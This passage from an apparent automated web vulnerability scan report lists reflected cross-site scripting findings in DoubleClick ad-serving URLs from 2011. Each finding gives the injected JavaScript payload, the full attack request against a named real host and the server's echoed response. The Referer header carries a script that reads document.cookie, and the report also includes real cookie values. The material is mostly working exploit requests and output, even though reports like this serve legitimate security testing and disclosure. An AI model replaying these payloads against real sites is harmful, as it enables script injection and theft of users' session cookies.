8vd3d3Lm1pdHRlbHN0YW5kc2Jsb2cuZGUvP2QxOGNiJTIyJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0UwMmUwYTdlOTZiPTHgAQKpAm2G3Iu2yrY-wAIC4AIA6gIJNjUxNC9taXdp-AL40R6QA6QDmAOMBqgDAdAEkE7gBAE73258'-alert(1)-'86e7173ff52&num=0&sig=AGiWqty8E627muEmQx3YhDjMnFTKuJGFpw&client=ca-pub-5121690421337506&adurl=http%3a%2f%2fwww.ibm.com/innovation/de/systemx/intel%3Fcmp%3D100K3%26ct%3D100K303A%26cr%3DMittelstandswiki_Rotation%26
...[SNIP]...

4.6. http://ad-emea.doubleclick.net/adj/N1120.Mittelstandswiki/B5089496 [ai parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad-emea.doubleclick.net
Path:	/adj/N1120.Mittelstandswiki/B5089496

Issue detail

The value of the ai request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bca7e"-alert(1)-"230eda09231 was submitted in the ai parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N1120.Mittelstandswiki/B5089496;sz=336x280;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B9MZ-29VOTYi_OZztlQfnzZ2uCtb3kP4BAAAAEAEgADgAWOag4YweYMmGo4fUo4AQggEXY2EtcHViLTUxMjE2OTA0MjEzMzc1MDayARd3d3cubWl0dGVsc3RhbmRzYmxvZy5kZboBCjMwMHgyNTBfYXPIAQnaAWZodHRwOi8vd3d3Lm1pdHRlbHN0YW5kc2Jsb2cuZGUvP2QxOGNiJTIyJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0UwMmUwYTdlOTZiPTHgAQKpAm2G3Iu2yrY-wAIC4AIA6gIJNjUxNC9taXdp-AL40R6QA6QDmAOMBqgDAdAEkE7gBAEbca7e"-alert(1)-"230eda09231&num=0&sig=AGiWqty8E627muEmQx3YhDjMnFTKuJGFpw&client=ca-pub-5121690421337506&adurl=;ord=57634238? HTTP/1.1
Host: ad-emea.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.mittelstandsblog.de/?d18cb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E02e0a7e96b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sun, 06 Feb 2011 17:45:04 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 8043

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
8vd3d3Lm1pdHRlbHN0YW5kc2Jsb2cuZGUvP2QxOGNiJTIyJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0UwMmUwYTdlOTZiPTHgAQKpAm2G3Iu2yrY-wAIC4AIA6gIJNjUxNC9taXdp-AL40R6QA6QDmAOMBqgDAdAEkE7gBAEbca7e"-alert(1)-"230eda09231&num=0&sig=AGiWqty8E627muEmQx3YhDjMnFTKuJGFpw&client=ca-pub-5121690421337506&adurl=http%3a%2f%2fwww.ibm.com/innovation/de/systemx/intel%3Fcmp%3D100K3%26ct%3D100K303A%26cr%3DMittelstandswiki_Rotation%26
...[SNIP]...

4.7. http://ad-emea.doubleclick.net/adj/N1120.Mittelstandswiki/B5089496 [client parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad-emea.doubleclick.net
Path:	/adj/N1120.Mittelstandswiki/B5089496

Issue detail

The value of the client request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a1b4d"-alert(1)-"63ce073303c was submitted in the client parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N1120.Mittelstandswiki/B5089496;sz=336x280;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B9MZ-29VOTYi_OZztlQfnzZ2uCtb3kP4BAAAAEAEgADgAWOag4YweYMmGo4fUo4AQggEXY2EtcHViLTUxMjE2OTA0MjEzMzc1MDayARd3d3cubWl0dGVsc3RhbmRzYmxvZy5kZboBCjMwMHgyNTBfYXPIAQnaAWZodHRwOi8vd3d3Lm1pdHRlbHN0YW5kc2Jsb2cuZGUvP2QxOGNiJTIyJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0UwMmUwYTdlOTZiPTHgAQKpAm2G3Iu2yrY-wAIC4AIA6gIJNjUxNC9taXdp-AL40R6QA6QDmAOMBqgDAdAEkE7gBAE&num=0&sig=AGiWqty8E627muEmQx3YhDjMnFTKuJGFpw&client=ca-pub-5121690421337506a1b4d"-alert(1)-"63ce073303c&adurl=;ord=57634238? HTTP/1.1
Host: ad-emea.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.mittelstandsblog.de/?d18cb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E02e0a7e96b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sun, 06 Feb 2011 17:46:47 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 8043

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0UwMmUwYTdlOTZiPTHgAQKpAm2G3Iu2yrY-wAIC4AIA6gIJNjUxNC9taXdp-AL40R6QA6QDmAOMBqgDAdAEkE7gBAE&num=0&sig=AGiWqty8E627muEmQx3YhDjMnFTKuJGFpw&client=ca-pub-5121690421337506a1b4d"-alert(1)-"63ce073303c&adurl=http%3a%2f%2fwww.ibm.com/innovation/de/systemx/intel%3Fcmp%3D100K3%26ct%3D100K303A%26cr%3DMittelstandswiki_Rotation%26cm%3DB%26csr%3Dneiotde_mm_intel-q12011%26ccy%3DDE%26cd%3D2011-01-06%26cn%3Dq
...[SNIP]...

4.8. http://ad-emea.doubleclick.net/adj/N1120.Mittelstandswiki/B5089496 [client parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad-emea.doubleclick.net
Path:	/adj/N1120.Mittelstandswiki/B5089496

Issue detail

The value of the client request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 33f2c'-alert(1)-'a56d4b9fc45 was submitted in the client parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N1120.Mittelstandswiki/B5089496;sz=336x280;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B9MZ-29VOTYi_OZztlQfnzZ2uCtb3kP4BAAAAEAEgADgAWOag4YweYMmGo4fUo4AQggEXY2EtcHViLTUxMjE2OTA0MjEzMzc1MDayARd3d3cubWl0dGVsc3RhbmRzYmxvZy5kZboBCjMwMHgyNTBfYXPIAQnaAWZodHRwOi8vd3d3Lm1pdHRlbHN0YW5kc2Jsb2cuZGUvP2QxOGNiJTIyJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0UwMmUwYTdlOTZiPTHgAQKpAm2G3Iu2yrY-wAIC4AIA6gIJNjUxNC9taXdp-AL40R6QA6QDmAOMBqgDAdAEkE7gBAE&num=0&sig=AGiWqty8E627muEmQx3YhDjMnFTKuJGFpw&client=ca-pub-512169042133750633f2c'-alert(1)-'a56d4b9fc45&adurl=;ord=57634238? HTTP/1.1
Host: ad-emea.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.mittelstandsblog.de/?d18cb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E02e0a7e96b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sun, 06 Feb 2011 17:46:54 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 8043

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0UwMmUwYTdlOTZiPTHgAQKpAm2G3Iu2yrY-wAIC4AIA6gIJNjUxNC9taXdp-AL40R6QA6QDmAOMBqgDAdAEkE7gBAE&num=0&sig=AGiWqty8E627muEmQx3YhDjMnFTKuJGFpw&client=ca-pub-512169042133750633f2c'-alert(1)-'a56d4b9fc45&adurl=http%3a%2f%2fwww.ibm.com/innovation/de/systemx/intel%3Fcmp%3D100K3%26ct%3D100K303A%26cr%3DMittelstandswiki_Rotation%26cm%3DB%26csr%3Dneiotde_mm_intel-q12011%26ccy%3DDE%26cd%3D2011-01-06%26cn%3Dq
...[SNIP]...

4.9. http://ad-emea.doubleclick.net/adj/N1120.Mittelstandswiki/B5089496 [num parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad-emea.doubleclick.net
Path:	/adj/N1120.Mittelstandswiki/B5089496

Issue detail

The value of the num request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 457e7'-alert(1)-'caf99647365 was submitted in the num parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N1120.Mittelstandswiki/B5089496;sz=336x280;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B9MZ-29VOTYi_OZztlQfnzZ2uCtb3kP4BAAAAEAEgADgAWOag4YweYMmGo4fUo4AQggEXY2EtcHViLTUxMjE2OTA0MjEzMzc1MDayARd3d3cubWl0dGVsc3RhbmRzYmxvZy5kZboBCjMwMHgyNTBfYXPIAQnaAWZodHRwOi8vd3d3Lm1pdHRlbHN0YW5kc2Jsb2cuZGUvP2QxOGNiJTIyJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0UwMmUwYTdlOTZiPTHgAQKpAm2G3Iu2yrY-wAIC4AIA6gIJNjUxNC9taXdp-AL40R6QA6QDmAOMBqgDAdAEkE7gBAE&num=0457e7'-alert(1)-'caf99647365&sig=AGiWqty8E627muEmQx3YhDjMnFTKuJGFpw&client=ca-pub-5121690421337506&adurl=;ord=57634238? HTTP/1.1
Host: ad-emea.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.mittelstandsblog.de/?d18cb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E02e0a7e96b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sun, 06 Feb 2011 17:45:39 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 8043

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
Lm1pdHRlbHN0YW5kc2Jsb2cuZGUvP2QxOGNiJTIyJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0UwMmUwYTdlOTZiPTHgAQKpAm2G3Iu2yrY-wAIC4AIA6gIJNjUxNC9taXdp-AL40R6QA6QDmAOMBqgDAdAEkE7gBAE&num=0457e7'-alert(1)-'caf99647365&sig=AGiWqty8E627muEmQx3YhDjMnFTKuJGFpw&client=ca-pub-5121690421337506&adurl=http%3a%2f%2fwww.ibm.com/innovation/de/systemx/intel%3Fcmp%3D100K3%26ct%3D100K303A%26cr%3DMittelstandswiki_Rotation%26cm%3DB
...[SNIP]...

4.10. http://ad-emea.doubleclick.net/adj/N1120.Mittelstandswiki/B5089496 [num parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad-emea.doubleclick.net
Path:	/adj/N1120.Mittelstandswiki/B5089496

Issue detail

The value of the num request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 18bf3"-alert(1)-"7264eb482c2 was submitted in the num parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N1120.Mittelstandswiki/B5089496;sz=336x280;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B9MZ-29VOTYi_OZztlQfnzZ2uCtb3kP4BAAAAEAEgADgAWOag4YweYMmGo4fUo4AQggEXY2EtcHViLTUxMjE2OTA0MjEzMzc1MDayARd3d3cubWl0dGVsc3RhbmRzYmxvZy5kZboBCjMwMHgyNTBfYXPIAQnaAWZodHRwOi8vd3d3Lm1pdHRlbHN0YW5kc2Jsb2cuZGUvP2QxOGNiJTIyJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0UwMmUwYTdlOTZiPTHgAQKpAm2G3Iu2yrY-wAIC4AIA6gIJNjUxNC9taXdp-AL40R6QA6QDmAOMBqgDAdAEkE7gBAE&num=018bf3"-alert(1)-"7264eb482c2&sig=AGiWqty8E627muEmQx3YhDjMnFTKuJGFpw&client=ca-pub-5121690421337506&adurl=;ord=57634238? HTTP/1.1
Host: ad-emea.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.mittelstandsblog.de/?d18cb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E02e0a7e96b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sun, 06 Feb 2011 17:45:33 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 8043

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
Lm1pdHRlbHN0YW5kc2Jsb2cuZGUvP2QxOGNiJTIyJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0UwMmUwYTdlOTZiPTHgAQKpAm2G3Iu2yrY-wAIC4AIA6gIJNjUxNC9taXdp-AL40R6QA6QDmAOMBqgDAdAEkE7gBAE&num=018bf3"-alert(1)-"7264eb482c2&sig=AGiWqty8E627muEmQx3YhDjMnFTKuJGFpw&client=ca-pub-5121690421337506&adurl=http%3a%2f%2fwww.ibm.com/innovation/de/systemx/intel%3Fcmp%3D100K3%26ct%3D100K303A%26cr%3DMittelstandswiki_Rotation%26cm%3DB
...[SNIP]...

4.11. http://ad-emea.doubleclick.net/adj/N1120.Mittelstandswiki/B5089496 [sig parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad-emea.doubleclick.net
Path:	/adj/N1120.Mittelstandswiki/B5089496

Issue detail

The value of the sig request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d1262"-alert(1)-"37bb6a46aea was submitted in the sig parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N1120.Mittelstandswiki/B5089496;sz=336x280;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B9MZ-29VOTYi_OZztlQfnzZ2uCtb3kP4BAAAAEAEgADgAWOag4YweYMmGo4fUo4AQggEXY2EtcHViLTUxMjE2OTA0MjEzMzc1MDayARd3d3cubWl0dGVsc3RhbmRzYmxvZy5kZboBCjMwMHgyNTBfYXPIAQnaAWZodHRwOi8vd3d3Lm1pdHRlbHN0YW5kc2Jsb2cuZGUvP2QxOGNiJTIyJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0UwMmUwYTdlOTZiPTHgAQKpAm2G3Iu2yrY-wAIC4AIA6gIJNjUxNC9taXdp-AL40R6QA6QDmAOMBqgDAdAEkE7gBAE&num=0&sig=AGiWqty8E627muEmQx3YhDjMnFTKuJGFpwd1262"-alert(1)-"37bb6a46aea&client=ca-pub-5121690421337506&adurl=;ord=57634238? HTTP/1.1
Host: ad-emea.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.mittelstandsblog.de/?d18cb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E02e0a7e96b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sun, 06 Feb 2011 17:46:13 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 8043

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
yJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0UwMmUwYTdlOTZiPTHgAQKpAm2G3Iu2yrY-wAIC4AIA6gIJNjUxNC9taXdp-AL40R6QA6QDmAOMBqgDAdAEkE7gBAE&num=0&sig=AGiWqty8E627muEmQx3YhDjMnFTKuJGFpwd1262"-alert(1)-"37bb6a46aea&client=ca-pub-5121690421337506&adurl=http%3a%2f%2fwww.ibm.com/innovation/de/systemx/intel%3Fcmp%3D100K3%26ct%3D100K303A%26cr%3DMittelstandswiki_Rotation%26cm%3DB%26csr%3Dneiotde_mm_intel-q12011%26ccy%
...[SNIP]...

4.12. http://ad-emea.doubleclick.net/adj/N1120.Mittelstandswiki/B5089496 [sig parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad-emea.doubleclick.net
Path:	/adj/N1120.Mittelstandswiki/B5089496

Issue detail

The value of the sig request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e3514'-alert(1)-'36e03f38f43 was submitted in the sig parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N1120.Mittelstandswiki/B5089496;sz=336x280;click=http://adclick.g.doubleclick.net/aclk?sa=l&ai=B9MZ-29VOTYi_OZztlQfnzZ2uCtb3kP4BAAAAEAEgADgAWOag4YweYMmGo4fUo4AQggEXY2EtcHViLTUxMjE2OTA0MjEzMzc1MDayARd3d3cubWl0dGVsc3RhbmRzYmxvZy5kZboBCjMwMHgyNTBfYXPIAQnaAWZodHRwOi8vd3d3Lm1pdHRlbHN0YW5kc2Jsb2cuZGUvP2QxOGNiJTIyJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0UwMmUwYTdlOTZiPTHgAQKpAm2G3Iu2yrY-wAIC4AIA6gIJNjUxNC9taXdp-AL40R6QA6QDmAOMBqgDAdAEkE7gBAE&num=0&sig=AGiWqty8E627muEmQx3YhDjMnFTKuJGFpwe3514'-alert(1)-'36e03f38f43&client=ca-pub-5121690421337506&adurl=;ord=57634238? HTTP/1.1
Host: ad-emea.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.mittelstandsblog.de/?d18cb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E02e0a7e96b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sun, 06 Feb 2011 17:46:20 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 8043

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
yJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0UwMmUwYTdlOTZiPTHgAQKpAm2G3Iu2yrY-wAIC4AIA6gIJNjUxNC9taXdp-AL40R6QA6QDmAOMBqgDAdAEkE7gBAE&num=0&sig=AGiWqty8E627muEmQx3YhDjMnFTKuJGFpwe3514'-alert(1)-'36e03f38f43&client=ca-pub-5121690421337506&adurl=http%3a%2f%2fwww.ibm.com/innovation/de/systemx/intel%3Fcmp%3D100K3%26ct%3D100K303A%26cr%3DMittelstandswiki_Rotation%26cm%3DB%26csr%3Dneiotde_mm_intel-q12011%26ccy%
...[SNIP]...

4.13. http://ad-emea.doubleclick.net/adj/N1120.Mittelstandswiki/B5089496 [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad-emea.doubleclick.net
Path:	/adj/N1120.Mittelstandswiki/B5089496

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 43731"-alert(1)-"187433e4b2d was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N1120.Mittelstandswiki/B5089496;sz=336x280;click=http://adclick.g.doubleclick.net/aclk?sa=l43731"-alert(1)-"187433e4b2d&ai=B9MZ-29VOTYi_OZztlQfnzZ2uCtb3kP4BAAAAEAEgADgAWOag4YweYMmGo4fUo4AQggEXY2EtcHViLTUxMjE2OTA0MjEzMzc1MDayARd3d3cubWl0dGVsc3RhbmRzYmxvZy5kZboBCjMwMHgyNTBfYXPIAQnaAWZodHRwOi8vd3d3Lm1pdHRlbHN0YW5kc2Jsb2cuZGUvP2QxOGNiJTIyJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0UwMmUwYTdlOTZiPTHgAQKpAm2G3Iu2yrY-wAIC4AIA6gIJNjUxNC9taXdp-AL40R6QA6QDmAOMBqgDAdAEkE7gBAE&num=0&sig=AGiWqty8E627muEmQx3YhDjMnFTKuJGFpw&client=ca-pub-5121690421337506&adurl=;ord=57634238? HTTP/1.1
Host: ad-emea.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.mittelstandsblog.de/?d18cb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E02e0a7e96b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sun, 06 Feb 2011 17:44:37 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 8043

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
escape("http://ad-emea.doubleclick.net/click%3Bh%3Dv8/3aa6/f/20d/%2a/b%3B234117088%3B0-0%3B0%3B57436492%3B4252-336/280%3B40303346/40321133/1%3B%3B%7Esscs%3D%3fhttp://adclick.g.doubleclick.net/aclk?sa=l43731"-alert(1)-"187433e4b2d&ai=B9MZ-29VOTYi_OZztlQfnzZ2uCtb3kP4BAAAAEAEgADgAWOag4YweYMmGo4fUo4AQggEXY2EtcHViLTUxMjE2OTA0MjEzMzc1MDayARd3d3cubWl0dGVsc3RhbmRzYmxvZy5kZboBCjMwMHgyNTBfYXPIAQnaAWZodHRwOi8vd3d3Lm1pdHRlbHN0YW5kc2Jsb2cu
...[SNIP]...

4.14. http://ad-emea.doubleclick.net/adj/N1120.Mittelstandswiki/B5089496 [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad-emea.doubleclick.net
Path:	/adj/N1120.Mittelstandswiki/B5089496

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ff622'-alert(1)-'d54c1daec2b was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N1120.Mittelstandswiki/B5089496;sz=336x280;click=http://adclick.g.doubleclick.net/aclk?sa=lff622'-alert(1)-'d54c1daec2b&ai=B9MZ-29VOTYi_OZztlQfnzZ2uCtb3kP4BAAAAEAEgADgAWOag4YweYMmGo4fUo4AQggEXY2EtcHViLTUxMjE2OTA0MjEzMzc1MDayARd3d3cubWl0dGVsc3RhbmRzYmxvZy5kZboBCjMwMHgyNTBfYXPIAQnaAWZodHRwOi8vd3d3Lm1pdHRlbHN0YW5kc2Jsb2cuZGUvP2QxOGNiJTIyJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0UwMmUwYTdlOTZiPTHgAQKpAm2G3Iu2yrY-wAIC4AIA6gIJNjUxNC9taXdp-AL40R6QA6QDmAOMBqgDAdAEkE7gBAE&num=0&sig=AGiWqty8E627muEmQx3YhDjMnFTKuJGFpw&client=ca-pub-5121690421337506&adurl=;ord=57634238? HTTP/1.1
Host: ad-emea.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.mittelstandsblog.de/?d18cb%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E02e0a7e96b=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sun, 06 Feb 2011 17:44:43 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 8043

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
href=\"http://ad-emea.doubleclick.net/click%3Bh%3Dv8/3aa6/f/20d/%2a/b%3B234117088%3B0-0%3B0%3B57436492%3B4252-336/280%3B40303346/40321133/1%3B%3B%7Esscs%3D%3fhttp://adclick.g.doubleclick.net/aclk?sa=lff622'-alert(1)-'d54c1daec2b&ai=B9MZ-29VOTYi_OZztlQfnzZ2uCtb3kP4BAAAAEAEgADgAWOag4YweYMmGo4fUo4AQggEXY2EtcHViLTUxMjE2OTA0MjEzMzc1MDayARd3d3cubWl0dGVsc3RhbmRzYmxvZy5kZboBCjMwMHgyNTBfYXPIAQnaAWZodHRwOi8vd3d3Lm1pdHRlbHN0YW5kc2Jsb2cu
...[SNIP]...

4.15. http://ad.doubleclick.net/adj/oiq.man.homeappliance/ [mfg parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/oiq.man.homeappliance/

Issue detail

